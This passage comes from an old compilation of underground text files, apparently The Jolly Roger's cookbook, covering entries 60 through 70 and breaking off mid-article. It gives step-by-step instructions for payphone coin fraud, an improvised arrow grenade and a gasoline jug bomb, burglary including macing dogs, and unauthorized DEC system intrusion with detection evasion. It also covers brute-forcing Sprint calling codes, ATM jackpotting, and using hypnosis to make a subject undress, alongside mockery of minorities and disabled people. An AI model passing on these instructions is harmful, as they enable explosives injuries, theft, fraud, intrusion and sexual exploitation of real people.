fortress station but must be +used by the CALLED party. +Here are the tones: +COIN COLLECT 700+1100hz +COIN RETURN 1100+1700hz +RINGBACK 700+1700hz +Before the called party sends any of these tones, an operator release signal should be sent to alert the MF detectors at the CO. This can be +done by sending 900hz + 1500hz or a single 2600 wink (90 ms.) Also do not forget that the initial rate is collected shortly before the 3 minute +period is up. Incidentally, once the above MF tones for collecting and returning coins reach the CO, they are converted into an appropriate DC +pulse (-130 volts for return and +130 for collect). This pulse is then sent down the tip to the fortress. This causes the coin relay to either return +or collect the coins. The alleged "T-network" takes advantage of this information. When a pulse for coin collect (+130 VDC) is sent down the +line, it must be grounded somewhere. This is usually the yellow or black wire. Thus, if the wires are exposed, these wires can be cut to +prevent the pulse from being grounded. When the three minute initial period is almost up, make sure that the black and yellow wires are +severed, then hang up, wait about 15 seconds in case of a second pulse, reconnect the wires, pick up the phone, and if all goes well, it +should be "JACKPOT" time. +60. Portable Grenade Launcher by The Jolly Roger +If you have a bow, this one is for you. Remove the ferrule from an aluminum arrow, and fill the arrow with black powder (I use grade FFFF, it +burns easy)and then glue a shotshell primer into the hole left where the ferrule went. Next, glue a BB on the primer, and you are ready to go! +Make sure no one is nearby.... Little shreds of aluminum go all over the place!! +61. Hacking Tutorial by The Jolly Roger +What is hacking? +According to popular belief the term hacker and hacking was founded at MIT it comes from the root of a hack writer, someone who keeps +"hacking" at the typewriter until he finishes the story. A computer hacker would be hacking at the keyboard or password works. +What you need: +To hack you need a computer equipped with a modem (a device that lets you transmit data over phone lines) which should cost you from $100 +to $1200. +How do you hack? +Hacking requires two things: +1.The phone number. +2.Answer to identity elements. +How do you find the phone number? +There are three basic ways to find a computers phone number: +1.Scanning +2.Directory +3.Inside info +What is scanning? +Scanning is the process of having a computer search for a carrier tone. For example, the computer would start at (800) 111-1111 and wait for +carrier if there is none it will go on to 111-1112 etc. If there is a carrier it will record it for future use and continue looking for more. +What is directory assistance? +This way can only be used if you know where your target computer is. For this +example say it is in menlo park, CA and the company name is Sri. +1.Dial 411 (or 415-555-1212) +2.Say "Menlo park" +3.Say "Sri" +4.Write down number +5.Ask if there are any more numbers +6.If so write them down. +7.Hang up on operator +8.Dial all numbers you were given +9.Listen for carrier tone +10.If you hear carrier tone write down number, call it on your modem and your set to hack! +62. The Basics of Hacking II by The Jolly Roger +Basics to know before doing anything, essential to your continuing career as one of the elite in the country... This article, "The introduction to +the world of hacking." is meant to help you by telling you how not to get caught, what not to do on a computer system, what type of equipment +should I know about now, and just a little on the history, past present future, of the hacker. +Welcome to the world of hacking! We, the people who live outside of the normal rules, and have been scorned and even arrested by those +from the 'civilized world', are becoming scarcer every day. This is due to the greater fear of what a good hacker (skill wise, no moral +judgments here) can do nowadays, thus causing anti- hacker sentiment in the masses. Also, few hackers seem to actually know about the +computer systems they hack, or what equipment they will run into on the front end, or what they could do wrong on a system to alert the +'higher' authorities who monitor the system. This article is intended to tell you about some things not to do, even before you get on the system. I +will tell you about the new wave of front end security devices that are beginning to be used on computers. I will attempt to instill in you a +second identity, to be brought up at time of great need, to pull you out of trouble. And, by the way, I take no, repeat, no, responsibility for what +we say in this and the forthcoming articles. +Enough of the bullshit, on to the fun: after logging on your favorite bbs, you see on the high access board a phone number! It says it's a great +system to "fuck around with!" This may be true, but how many other people are going to call the same number? So: try to avoid calling a +number given to the public. This is because there are at least every other user calling, and how many other boards will that number spread to? +If you call a number far, far away, and you plan on going through an extender or a re-seller, don't keep calling the same access number (I.E. +As you would if you had a hacker running), this looks very suspicious and can make life miserable when the phone bill comes in the mail. Most +cities have a variety of access numbers and services, so use as many as you can. Never trust a change in the system... The 414's, the +assholes, were caught for this reason: when one of them connected to the system, there was nothing good there. The next time, there was a +trek game stuck right in their way! They proceeded to play said game for two, say two and a half hours, while telenet was tracing them! Nice +job, don't you think? If anything looks suspicious, drop the line immediately!! As in, yesterday!! The point we're trying to get across is: if you +use a little common sense, you won't get busted. Let the little kids who aren't smart enough to recognize a trap get busted, it will take the heat +off of the real hackers. Now, let's say you get on a computer +system... It looks great, checks out, everything seems fine. OK, now is when it gets more dangerous. You have to know the computer system +to know what not to do. Basically, keep away from any command something, copy a new file into the account, or whatever! Always leave the +account in the same status you logged in with. Change *nothing*... If it isn't an account with priv's, then don't try any commands that require +them! All, yes all, systems are going to be keeping log files of what users are doing, and that will show up. It is just like dropping a trouble-card +in an ESS system, after sending that nice operator a pretty tone. Spend no excessive amounts of time on the account in one stretch. Keep your +calling to the very late night if possible, or during business hours (believe it or not!). It so happens that there are more users on during +business hours, and it is very difficult to read a log file with 60 users doing many commands every minute. Try to avoid systems where +everyone knows each other, don't try to bluff. And above all: never act like you own the system, or are the best there is. They always grab +the people who's heads swell... There is some very interesting front end equipment around nowadays, but first let's define terms... By front +end, we mean any device that you must pass through to get at the real computer. There are devices that are made to defeat hacker programs, +and just plain old multiplexers. To defeat hacker programs, there are now devices that pick up the phone and just sit there... This means that +your device gets no carrier, thus you think there isn't a computer on the other end. The only way around it is to detect when it was picked up. +If it picks up after the same number ring, then you know it is a hacker-defeater. These devices take a multi-digit code to let you into the system. +Some are, in fact, quite sophisticated to the point where it will also limit the user name's down, so only one name or set of names can be valid +logins after they input the code... Other devices input a number code, and then they dial back a pre-programmed number for that code. These +systems are best to leave alone, because they know someone is playing with their phone. You may think "but I'll just reprogram the dial-back." +Think again, how stupid that is... Then they have your number, or a test loop if you were just a little smarter. If it's your number, they have your +balls (if male...), if its a loop, then you are screwed again, since those loops +are *monitored*. As for multiplexers... What a plexer is supposed to do is this: +The system can accept multiple users. We have to time share, so we'll let the front-end processor do it... Well, this is what a multiplexer does. +Usually they will ask for something like "enter class" or "line:". Usually it is programmed for a double digit number, or a four to five letter word. +There are usually a few sets of numbers it accepts, but those numbers also set your 300/1200/2400 baud data type. These multiplexers are +inconvenient at best, so not to worry. A little about the history of hacking: hacking, by my definition, means a great knowledge of some special +area. Doctors and lawyers are hackers of a sort, by this definition. But most often, it is being used in the computer context, and thus we have +a definition of "anyone who has a great amount of computer or telecommunications knowledge." You are not a hacker because you have a list +of codes... Hacking, by my definition, has then been around only about 15 years. It started, where else but, MIT and colleges where they had +computer science or electrical engineering departments. Hackers have created some of the best computer languages, the most awesome +operating systems, and even gone on to make millions. Hacking used to have a good name, when we could honestly say "we know what we +are doing". Now it means (in the public eye): the 414's, Ron Austin, the NASA hackers, the arpanet hackers... All the people who have been +caught, have done damage, and are now going to have to face fines and sentences. Thus we come past the moralistic crap, and to our +purpose: educate the hacker community, return to the days when people actually knew something... +63. Hacking DEC's by The Jolly Roger +In this article you will learn how to log in to dec's, logging out, and all the fun stuff to do in-between. All of this information is based on a +standard dec system. Since there are dec systems 10 and 20, and I favor, the dec 20, there will be more info on them in this article. It just so +happens that the dec 20 is also the more common of the two, and is used by much more interesting people (if you know what I mean...) OK, +the first thing you want to do when you are receiving carrier from a dec system is to find out the format of login names. You can do this by +looking at who is on the system. +Dec=> ` (the 'exec' level prompt) +you=> sy +sy: short for sy(stat) and shows you the system status. +You should see the format of login names. A systat usually comes up in this form: +Job Line Program User +Job: The job number (not important unless you want to log them off later) +Line: What line they are on (used to talk to them...) These are both two or three digit numbers. +Program: What program are they running under? If it says 'exec' they aren't doing anything at all... +User: ahhhahhhh! This is the user name they are logged in under... Copy the format, and hack yourself outa working code... Login format is as +such: +dec=> ` +you=> login username password +Username is the username in the format you saw above in the systat. After you hit the space after your username, it will stop echoing +characters back to your screen. This is the password you are typing in... Remember, people usually use their name, their dog's name, the +name of a favorite character in a book, or something like this. A few clever people have it set to a key cluster (qwerty or asdfg). Passwords +can be from 1 to 8 characters long, anything after that is ignored. You are finally in... It would be nice to have a little help, wouldn't it? Just type +a ? Or the word help, and it will give you a whole list of topics... Some handy characters for you to know would be the control keys, wouldn't +it? Backspace on a dec 20 is rub which is 255 on your ASCII chart. On the dec 10 it is control-H. To abort a long listing or a program, control-C +works fine. Use Control-O to stop long output to the terminal. This is handy when playing a game, but you don't want to control-C out. Control-T +for the time. Control-u will kill the whole line you are typing at the moment. You may accidentally run a program where the only way out is a +control-X, so keep that in reserve. Control-s to stop listing, control-Q to continue on both systems. Is your terminal having trouble?? Like, it +pauses for no reason, or it doesn't backspace right? This is because both systems support many terminals, and you haven't told it what yours +is yet... You are using a VT05 so you need to tell it you are one. +Dec=> ` +you=> information terminal +-or- +You=> info +(This shows you what your terminal is set up as.) +Dec=>all sorts of shit, then the ` +you=> set ter vt05 +(This sets your terminal type to VT05.) +Now let's see what is in the account (here after abbreviated acct.) that you have hacked onto. Say: +=> dir +(Short for directory.) +It shows you what the user of the code has save to the disk. There should be a format like this: xxxxx.Oooxxxxx is the file name, from 1 to 20 +characters long. Ooo is the file type, one of: exe, txt, dat, bas, cmd and a few others that are system dependant. Exe is a compiled program +that can be run (just by typing its name at the `) +Txt is a text file, which you can see by typing: +=>type xxxxx.Txt +Do not try to: +=>type xxxxx.Exe +(This is very bad for your terminal and will tell you absolutely nothing.) +Dat is data they have saved. +Bas is a basic program, you can have it typed out for you. +Cmd is a command type file, a little too complicated to go into here. Try: +=>take xxxxx.Cmd +By the way, there are other users out there who may have files you can use. +(Gee, why else am I here?) +=> dir <*.*> (Dec 20) +=> dir [*,*] (Dec 10) +* is a wildcard, and will allow you to access the files on other accounts if the user has it set for public access. If it isn't set for public access, +then you won't see it. To run that program: +dec=> ` +you=> username program-name +Username is the directory you saw the file listed under, and file name was what else but the file name? ** You are not alone ** remember, you +said (at the very start) sy short for systat, and how we said this showed the other users on the system? Well, you can talk to them, or at +least send a message to anyone you see listed in a systat. You can do this by: +dec=> the user list (from your systat) +you=> talkusername (Dec 20) +send username (Dec 10) +Talk allows you and them immediate transmission of whatever you/they type to be sent to the other. Send only allow you one message to be +sent, and send, they will send back to you, with talk you can just keep going. By the way, you may be noticing with the talk command that what +you type is still acted upon by the parser (control program). To avoid the constant error messages type either: +you=> ;your message +you=> rem your message +the semi-colon tells the parser that what follows is just a comment. Rem is short for 'remark' and ignores you from then on until you type a +control-Z or control-C, at which point it puts you back in the exec mode. To break the connection from a talk command type: +you=> break priv's: +If you happen to have privs, you can do all sorts of things. First of all, you have to activate those privs. +You=> enable +This gives you a $ prompt, and allows you to do this: whatever you can do to your own directory you can now do to any other directory. To +create a new acct. Using your privs, just type: +=>build username +If username is old, you can edit it, if it is new, you can define it to be whatever you wish. Privacy means nothing to a user with privs. By the +way, there are various levels of privs: operator, wheel, cia. Wheel is the most powerful, being that he can log in from anywhere and have his +powers. Operators have their power because they are at a special terminal allowing them the privs. Cia is short for 'confidential information +access', which allows you a low level amount of privs. Not to worry though, since you can read the system log file, which also has the +passwords to all the other accounts. +To de-activate your privs, type: +you=> disable +when you have played your greedy heart out, you can finally leave the +system with the command: +=>logout +This logs the job you are using off the system (there may be varients of this such as kjob, or killjob.) +64. Harmless Bombs by The Jolly Roger +To all those who do not wish to inflict bodily damage on their victims but only terror. These are weapons that should be used from high places. +1.The Flour Bomb +Take a wet paper towel and pour a given amount of baking flour in the center. Then wrap it up and put on a rubber band to keep it together. +When thrown it will fly well but when it hits, it covers the victim with the flower or causes a big puff of flour which will put the victim in +terror since as far as they are concerned, some strange white powder is all over them. This is a cheap method of terror and for only the +cost of a roll of paper towels and a bag of flour you and your friends can have loads of fun watching people flee in panic. +2.Smoke Bomb Projectile +All you need is a bunch of those little round smoke bombs and a wrist rocket or any sling-shot. Shoot the smoke bombs and watch the terror +since they think it will blow up! +3.Rotten Eggs (Good ones) +Take some eggs and get a sharp needle and poke a small hole in the top of each one. Then let them sit in a warm place for about a week. Then +you've got a bunch of rotten eggs that will only smell when they hit. +4.Glow in the Dark Terror +Take one of those tubes of glow in the dark stuff and pour the stuff on whatever you want to throw and when it gets on the victim, they think +it's some deadly chemical or a radioactive substance so they run in total panic. This works especially well with flower bombs since a +gummy, glowing substance gets all over the victim. +5.Fizzling Panic +Take a baggy of a water-baking soda solution and seal it. (Make sure there is no air in it since the solution will form a gas and you don't +want it to pop on you.) Then put it in a bigger plastic bag and fill it with vinegar and seal it. When thrown, the two substances will mix and +cause a violently bubbling substance to go all over the victim. +65. Breaking Into Houses by The Jolly Roger +Okay You Need: +1.Tear Gas or Mace +2.A BB/Pellet Gun +3.An Ice Pick +4.Thick Gloves +What You Do Is: +1.Call the house, or ring doorbell, to find out if they're home. +2.If they're not home then... +3.Jump over the fence or walk through gate (whatever). +4.If you see a dog give him the mace or tear gas. +5.Put the gloves on!!!!!!! +6.Shoot the BB gun slightly above the window locks. +7.Push the ice-pick through the hole (made by the BB gun). +8.Enter window. +9.FIRST...Find the LIVING ROOM. (there're neat things there!). +10.Goto the bedroom to get a pillow case. Put the goodies in the pillow case. +11.Get out <-* FAST! -*> +Notes: You should have certain targets worked out (like computers, Radios, Ect.) Also <-* NEVER *-> Steal from your own neighborhood. If you +think they have an alarm...<-* FORGET IT! *->. +66. A Guide to Hypnotism by The Jolly Roger +What hypnotism is? +Hypnotism, contrary to common belief, is merely state when your mind and body are in a state of relaxation and your mind is open to positive, +or cleverly worded negative, influences. It is not a trance where you: + Are totally influenceable. + Cannot lie. + A sleep which you cannot wake up from without help. +This may bring down your hope somewhat, but, hypnotism is a powerful for self help, and/or mischief. +Your subconscious mind +Before going in further, I'd like to state that hypnotism not only is great in the way that it relaxes you and gets you (in the long run) what you +want, but also that it taps a force of incredible power, believe it or not, this power is your subconscious mind. The subconscious mind always +knows what is going on with every part of your body, every moment of the day. It protects you from negative influences, and retains the +power to slow your heartbeat down and stuff like that. The subconscious mind holds just about all the info you would like to know +About yourself, or, in this case, the person you will be hypnotizing. There are many ways to talk to your subconscious and have it talk back to +you. One way is the ouja board, no its not a spirit, merely the minds of those who are using it. Another, which I will discuss here, is the +pendulum method. OK, here is how it goes. First, get a ring or a washer and tie it to a thread a little longer than half of your forearm. Now, +take a sheet of paper and draw a big circle in it. In the big circle you must now draw a crosshair (a big +). Now, put the sheet of paper on a +table. Next, hold the thread with the ring or washer on it and place it (holding the thread so that the ring is 1 inch above the paper swinging) in +the middle of the crosshair. Now, swing the thread so the washer goes up and down, say to yourself the word "Yes" now, do it side to side +and say the word "no". Do it counter clockwise and say "I don't know". And lastly, do it clockwise and say "I don't want to say." Now, with the +thread back in the middle of the crosshair, ask yourself questions and wait for the pendulum to swing in the direction for the answer. (yes, no, +I don't know or I don't want to say...). Soon, to your amazement, it will be answering questions like anything... Let the pendulum answer, don't +try.. When you try you will never get an answer. Let the answer come to you. +How to induce hypnotism +Now that you know how to talk to your subconscious mind, I will now tell you how to guide someone into hypnosis. Note that I said guide, you +can never, hypnotize someone, they must be willing. OK, the subject must be lying or sitting in a comfortable position, relaxed, and at a time +when things aren't going to be interrupted. Tell them the following or something close to it, in a peaceful, monotonous tone (not a commanding +tone of voice) +Note: Light a candle and place it somewhere where it can be easily seen. +"Take a deep breath through your nose and hold it in for a count of 8. Now, through your mouth, exhale completely and slowly. Continued +breathing long, deep, breaths through your nose and exhaling through your mouth. Tense up all your muscles very tight, now, counting from +ten to one, release them slowly, you will find them very relaxed. Now, look at the candle, as you look at it, with every breath and passing +moment, you are feeling increasingly more and more peaceful and relaxed. The candles flame is peaceful and bright. As you look at it I will +count from 100 down, as a count, your eyes will become more and more relaxed, getting more and more tired with each passing moment." +Now, count down from 100, about every 10 numbers say "When I reach xx your eyes (or you will find your eyes) are becoming more and +more tired." Tell them they may close their eyes whenever they feel like it. If the persons eyes are still open when you get to 50 then instead +of saying "your eyes will.." Say "your eyes are...". When their eyes are shut say the following. As you lie (or sit) here with your eyes +comfortably close you find yourself relaxing more and more with each moment and breath. The relaxation feels pleasant and blissful so, you +happily give way to this wonderful feeling. Imagine yourself on a cloud, resting peacefully, with a slight breeze caressing your body. A tingling +sensation begins to work its way, within and without your toes, it slowly moves up your feet, making them warm, heavy and relaxed. The +cloud is soft and supports your body with its soft texture, the scene is peaceful and absorbing, the peacefulness absorbs you completely. The +tingling gently and slowly moves up your legs, relaxing them. Making them warm and heavy. The relaxation feels very good, it feels so good to +relax and let go. As the tingling continues its journey up into your solar plexus, you feel your inner stomach become very relaxed. Now, it +moves slowly into your chest, making your breathing relaxed as well. The feeling begins to move up your arms to your shoulders, making your +arms heavy and relaxed as well. You are aware of the total relaxation you are now experiencing, and you give way to it. It is good and +peaceful, the tingling now moves into your face and head, relaxing your jaws, neck, and facial muscles, making your cares and worries float +away. Away into the blue sky as you rest blissfully on the cloud. If they are not responsive or you think they (he or she) is going to sleep, then +add in a "...always concentrating upon my voice, ignoring all other sounds. Even though other sounds exists, they aid you in your relaxation..." +They should soon let out a sigh as if they were letting go, and their face should have a "woodiness" to it, becoming featureless... Now, say the +following "... You now find yourself in a hallway, the hallway is peaceful and nice. As I count from 10 to 1 you will imagine yourself walking +further and further down the hall. When I reach one you will find yourself where you want to be, in another, higher state of conscious and +mind. (count from ten to one)..." Do this about three or four times. Then, to test if the subject is under hypnosis or not, say "... You feel a +strange sensation in your (arm they write with) arm, the feeling begins at your fingers and slowly moves up your arm, as it moves through +your arm your arm becomes lighter and lighter, it will soon be so light it will ... becoming lighter and lighter which each breath and moment..." +Their fingers should begin to twitch and then move up, the arm following, now my friend, you have him/her in hypnosis. The first time you do +this, while he/she is under say good things, like: "Your going to feel great tomorrow" or "Every day in every way you will find yourself +becoming better and better".. Or some crap like that... The more they go under, the deeper in hypnosis they will get each time you do it. +What to do when hypnotized +When you have them under you must word things very carefully to get your way. You cannot simply say... Take off your clothes and fuck the +pillow. No, that would not really do the trick. You must say something like.... "you find your self at home, in your room and you have to take a +shower (vividly describe their room and what's happening), you begin to take off your clothes..." Now, it can't be that simple, you must know +the persons house, room, and shower room. Then describe things vividly and tell them to act it out (they have to be deeply under to do this). I +would just suggest that you experiment a while, and get to know how to do things. +Waking up +Waking up is very easy, just say "...as I count from 1 to 5 you will find yourself becoming more and more awake, more and more lively. When +you wake up you will find yourself completely alive, awake, and refreshed. Mentally and physically, remembering the pleasant sensation that +hypnosis brings... Waking up feeling like a new born baby, reborn with life and vigor, feeling excellent. Remembering that next time you enter +hypnosis it will become an ever increasing deeper and deeper state than before. +1.You feel energy course throughout your limbs. +2.You begin to breathe deeply, stirring. +3.Beginning to move more and more your eyes open, bringing you up to full conscious. +4.You are up, up, up and awakening more and more. +5.You are awake and feeling great. +And that's it! You now know how to hypnotize yourself and someone else. +You will learn more and more as you experiment. +67. The Remote Informer Issue #1 by Tracker and Noman Bates +Introduction +Welcome to the first issue of 'The Remote Informer'! This newsletter is reader supported. If the readers of this newsletter do not help support +it, then it will end. We are putting this out to help out the ones that would like to read it. If you are one of those who thinks they know +everything, then don't bother reading it. This newsletter is not anything like the future issues. The future issues will contain several sections, +as long as reader input is obtained. Below is an outline overview of the sections in the future issues. +I/O Board (Input/Output Board) +The I/O Board is for questions you have, that we might be able to answer or at least refer you to someone or something. We will be honest if +we cannot help you. We will not make up something, or to the effect, just to make it look like we answered you. There will be a section in the +I/O Board for questions we cannot answer, and then the readers will have the opportunity to answer it. We will print anything that is +reasonable in the newsletter, even complaints if you feel like you are better than everyone. +NewsCenter +This section will be for news around the underworld. It will talk of busts of people in the underworld and anything else that would be +considered news. If you find articles in the paper, or something happens in your local area, type it up, and upload it to one of the boards listed +at the end of the newsletter. Your handle will be placed in the article. If you do enter a news article, please state the date and from where you +got it. +Feature Section +The Feature Section will be the largest of the sections as it will be on the topic that is featured in that issue. This will be largely reader input +which will be sent in between issues. At the end of the issue at hand, it will tell the topic of the next issue, therefore, if you have something to +contribute, then you will have ample time to prepare your article. +Hardware/Software Review +In this section, we will review the good and bad points of hardware and software related to the underworld. It will be an extensive review, +rather than just a small paragraph. +The Tops +This section will be the area where the top underworld BBS's, hacking programs, modem scanners, etc. will be shown. This will be reader +selected and will not be altered in anyway. The topics are listed below. + Underworld BBS's (Hack, Phreak, Card, Anarchy, etc.) + Hacking programs for Hayes compatables + Hacking programs for 1030/Xm301 modems + Modem scanners for Hayes compatables + Modem scanners for 1030/Xm301 modems + Other type illegal programs + You may add topics to the list if enough will support it. +Tid Bits +This will contain tips and helpful information sent in by the users. If you have any information you wish to contribute, then put it in a text file and +upload it to one of the BBS's listed at the end of the newsletter. Please, no long distance codes, mainframe passwords, etc. We may add other +sections as time goes by. This newsletter will not be put out on a regular basis. It will be put out when we have enough articles and +information to put in it. There may be up to 5 a month, but there will always be at least one a month. We would like you, the readers, to send +us anything you feel would be of interest to others, like hacking hints, methods of hacking long distance companies, companies to card from, +etc. We will maintain the newsletter as long as the readers support it. That is the end of the introduction, but take a look at this newsletter, as it +does contain information that may be of value to you. +Hacking Sprint: The Easy Way +If you hack US Sprint, 950-0777 (by the way it is no longer GTE Sprint), and you are frustrated at hacking several hours only to find one or two +codes, then follow these tips, and it will increase your results tremendously. First, one thing that Mr. Mojo proved is that Sprint will not store +more than one code in every hundred numbers. (ex: 98765400 to 98765499 may contain only one code). There may NOT be a code in that +hundred, but there will never be more than one. Sprint's 9 digit codes are stored from 500000000 through 999999999. In the beginning of +Sprint's 950 port, they only had 8 digit codes. Then they started converting to 9 digit codes, storing all 8 digit codes between 10000000 and +49999999 and all 9 digit codes between 500000000 and 999999999. Sprint has since canceled most 8 digit codes, although there are a few +left that have been denoted as test codes. Occasionally, I hear of phreaks saying they have 8 digit codes, but when verifying them, the codes +were invalid. Now, where do you start? You have already narrowed the low and high numbers in half, therefore already increasing your +chances of good results by 50 percent. The next step is to find a good prefix to hack. By the way, a prefix, in hacking terms, is the first digits +in a code that can be any length except the same number of digits the code is. (ex: 123456789 is a code. That means 1, 12, 123, 1234, 12345, +123456, 1234567, and 12345678 are prefixes) The way you find a good prefix to hack is to manually enter a code prefix. If when you enter +the code prefix and a valid destination number and you do not hear the ringing of the recording telling you that the code is invalid until near the +end of the number, then you know the prefix is valid. Here is a chart to follow when doing this: +Code - Destination Range good codes exist +------------------------------------------------- +123456789 - 6192R 123400000 - 123499999 +123456789 - 619267R 123450000 - 123459999 +123456789 - 61926702R 123456000 - 123456999 +123456789 - 6192670293R 123456700 - 123456799 +------------------------------------------------- +( R - Denotes when ring for recording starts) +To prove this true, I ran a test using OmniHack 1.3p, written by Jolly Joe. In this test I found a prefix where the last 3 digits were all I had to +hack. I tested each hundred of the 6 digit prefix finding that all but 4 had the ring start after the fourth digit was dialed in the destination +number. The other four did not ring until I had finished the entire code. I set OmniHack to hack the prefix + 00 until prefix + 99. (ex: xxxxxxy00 +to xxxxxxy99: where y is one of the four numbers that the ring did not start until the dialing was completed.) Using this method, I found four +codes in a total of 241 attempts using ascending hacking (AKA: Sequential). Below you will see a record of my hack: +Range of hack Codes found Tries +xxxxxx300 - xxxxxx399 xxxxxx350 50 +xxxxxx500 - xxxxxx599 xxxxxx568 68 +xxxxxx600 - xxxxxx699 xxxxxx646 46 +xxxxxx800 - xxxxxx899 xxxxxx877 77 +Totals 4 codes 241 +As you see, these methods work. Follow these guidelines and tips and you should have an increase in production of codes in the future +hacking Sprint. Also, if you have any hints/tips you think others could benefit from, then type them up and upload them to one of the boards at +the end of the newsletter. +Rumors: Why Spread Them? +Do you ever get tired of hearing rumors? You know, someone gets an urge to impress others, so they create a rumor that some long distance +company is now using tracing equipment. Why start rumors? It only scares others out of phreaking, and then makes you, the person who +started the rumor, look like Mr. Big. This article is short, but it should make you aware of the rumors that people spread for personal gain. The +best thing to do is to denote them as a rumor starter and then leave it at that. You should not rag on them constantly, since if the other users +cannot determine if it is fact or rumor, then they should suffer the consequences. +The New Sprint FON Calling Cards +US Sprint has opened up a new long distance network called the Fiber Optic Network (FON), in which subscribers are given calling cards. +These calling cards are 14 digits, and though, seem randomly generated, they are actually encrypted. The rumors floating around about people +getting caught using the Sprint FON calling cards are fact, not rumors. The reason people are getting caught is that they confuse the FON +calling cards with the local 950 port authorization codes. If you will remember, you never use AT&T calling cards from you home phone. It has +ANI capability, which is not tracing, but rather the originating phone number is placed on the bill as soon as the call is completed. They know +your phone number when you call the 800 access port, but they do not record it until your call is completed. Also, through several of my +hacks, I came up with some interesting information surrounding the new Sprint network. They are listed below. +800-877-0000 - This number is for information on US Sprint's 800 calling card service. I have not played around with it, but I believe it is for +trouble or help with the FON calling cards. I am not sure if it is for subscribing to the FON network. +800-877-0002 - You hear a short tone, then nothing. +800-877-0003 - US Sprint Alpha Test Channel #1 +800-877-(0004-0999) - When you call these numbers, you get a recording saying: "Welcome to US Sprint's 1 plus service." When the +recording stops, if you hit the pound key (#) you will get the calling card dial tone. +Other related Sprint numbers +800-521-4949 - This is the number that you subscribe to US Sprint with. You may also subscribe to the FON network on this number. It will +take 4 to 5 weeks for your calling card to arrive. +10777 - This is US Sprint's equal access number. When you dial this number, you then dial the number you are calling, and it will be billed +through US Sprint, and you will receive their long distance line for that call. Note that you will be billed for calls made through equal access. Do +not mistake it to be a method of phreaking, unless used from a remote location. If you are in US Sprint's 1+ service then call 1+700-555-1414, +which will tell you which long distance company you are using. When you hear: "Thank you for choosing US Sprint's 1 plus service," hit the +pound key (#), and then you will get the US Sprint dial tone. This however is just the same as if you are calling from your home phone if you +dial direct, so you would be billed for calls made through that, but there are ways to use this to your advantage as in using equal access +through a PBX. +Automatic Number Identification (ANI) +The true definition for Automatic Number Identification has not been widely known to many. Automatic Number Identification, (AKA: ANI), is the +process of the destination number knowing the originating number, which is where you are calling from. The method of achieving this is to +send the phone number that you are calling from in coded form ahead of the destination number. Below is an example of this. +ANI Method +Dial: 267-0293 +Sent: ********2670293 +* - Denotes the originating number which is coded and sent before the +number +As you noticed there are 8 digits in the coded number. This is because, at least I believe, it is stored in a binary-like form. Automatic Number +Identification means a limited future in phreaking. ANI does not threaten phreaking very much yet, but it will in the near future. A new switching +system will soon be installed in most cities that are covered by ESS, Electronic Switching System, now. The system will have ANI capabilities +which will be supplied to the owners of phone lines as an added extra. The owner's phone will have an LED read-out that will show the +phone number of the people that call you. You will be able to block some numbers, so that people cannot call you. This system is in the testing +stages currently, but will soon be installed across most of the country. As you see, this will end a large part of phreaking, until we, the +phreakers, can come up with an alternative. As I have been told by several, usually reliable, people, this system is called ISS, which I am not +sure of the meaning of this, and is being tested currently in Rhode Island. 800 in-watts lines set up by AT&T support ANI. The equipment to +decode an ANI coded origination number does not costs as much as you would expect. 950 ports do not offer ANI capability, no matter what +you have been told. The 950 ports will only give the city in which they are based, this usually being the largest in the state, sometimes the +capitol. One last thing that I should tell you is that ANI is not related to tracing. Tracing can be done on any number whether local, 950, etc. +One way around this, especially when dialing Alliance TeleConferencing, is to dial through several extenders or ports. ANI will only cover the +number that is calling it, and if you call through a number that does not support ANI, then your number will never be known. +68. Jackpotting ATM Machines by The Jolly Roger +JACKPOTTING was done rather successfully a while back in (you guessed it) New York. What the culprits did was sever (actually cross +over) the line between the ATM and the host. Insert a microcomputer between the ATM and the host. Insert a fraudulent card into the ATM. (By +card I mean cash card, not hardware.) What the ATM did was: send a signal to the host, saying "Hey! Can I give this guy money, or is he +broke, or is his card invalid?" What the microcomputer did was: intercept the signal from the host, discard it, send "there's no one using the +ATM" signal. What the host did was: get the "no one using" signal, send back "okay, then for God's sake don't spit out any money!" signal to +ATM. What the microcomputer did was intercept the signal (again), throw it away (again), send "Wow! That guy is like TOO rich! Give him as +much money as he wants. In fact, he's so loaded, give him ALL the cash we have! He is really a valued customer." signal. What the ATM did: +what else? Obediently dispense cash till the cows came home (or very nearly so). What the crooks got was well in excess of $120,000 (for +one weekend's work), and several years when they were caught. This story was used at a CRYPTOGRAPHY conference I attended a while +ago to demonstrate the need for better information security. The lines between ATM's & their hosts are usually 'weak' in the sense that the +information transmitted on them is generally not encrypted in any way. One of the ways that JACKPOTTING can be defeated is to encrypt the +information passing between the ATM and the host. As long as the key cannot be determined from the ciphertext, the transmission (and hence +the transaction) is secure. A more believable, technically accurate story might concern a person who uses a computer between the ATM and +the host to determine the key before actually fooling the host. As everyone knows, people find cryptanalysis a very exciting and engrossing +subject..don't they? (Hee-Hee) +_____ ______ +| |-<<-| |-<<-| | +|ATM| micro |Host| +|___|->>-| |->>-|____| +The B of A ATM's are connected through dedicated lines to a host computer as the Bishop said. However, for maintenance purposes, there is +at least one separate dial-up line also going to that same host computer. This guy basically BS'ed his way over the phone till he found someone +stupid enough to give him the number. After finding that, he had has Apple hack at the code. Simple. +Next, he had a friend go to an ATM with any B of A ATM card. He stayed at home with the Apple connected to the host. When his friend +inserted the card, the host displayed it. The guy with the Apple modified the status & number of the card directly in the host's memory. He +turned the card into a security card, used for testing purposes. At that point, the ATM did whatever it's operator told it to do. +The next day, he went into the bank with the $2000 he received, talked to the manager and told him every detail of what he'd done. The +manager gave him his business card and told him that he had a job waiting for him when he got out of school. +Now, B of A has been warned, they might have changed the system. On the other hand, it'd be awful expensive to do that over the whole +country when only a handful of people have the resources and even less have the intelligence to duplicate the feat. Who knows? +69. Jug Bomb by The Jolly Roger +Take a glass jug, and put 3 to 4 drops of gasoline into it. Then put the cap on, and swish the gas around so the inner surface of the jug is +coated. Then add a few drops of potassium permanganate solution into it and cap it. To blow it up, either throw it at something, or roll it at +something. +70. Fun at K-Mart by The Jolly Roger +Well, first off, one must realize the importance of K-Marts in society today. First off, K-Marts provide things cheaper to those who can't afford +to shop at higher quality stores. Although, all I ever see in there is minorities and Senior Citizens, and the poor people in our city. Personally, I +wouldn't be caught dead in there. But, once, I did. You see, once, after The Moon Roach and Havoc Chaos (Dear friends of mine) and I were +exploring such fun things as rooftops, we came along a K-Mart. Amused, and cold for that matter, we wandered in. The Tension mounts. As +we walked up to the entrance, we were nearly attacked by Youth Groups selling cheap cookies, and wheelchair sticken people selling +American Flags. After laughing at these people, we entered. This is where the real fun begins... First, we wandered around the store, and +turned on all the blue lights we could find. That really distracts and confuses the attendents...Fun to do... The first neat thing, is to go to the 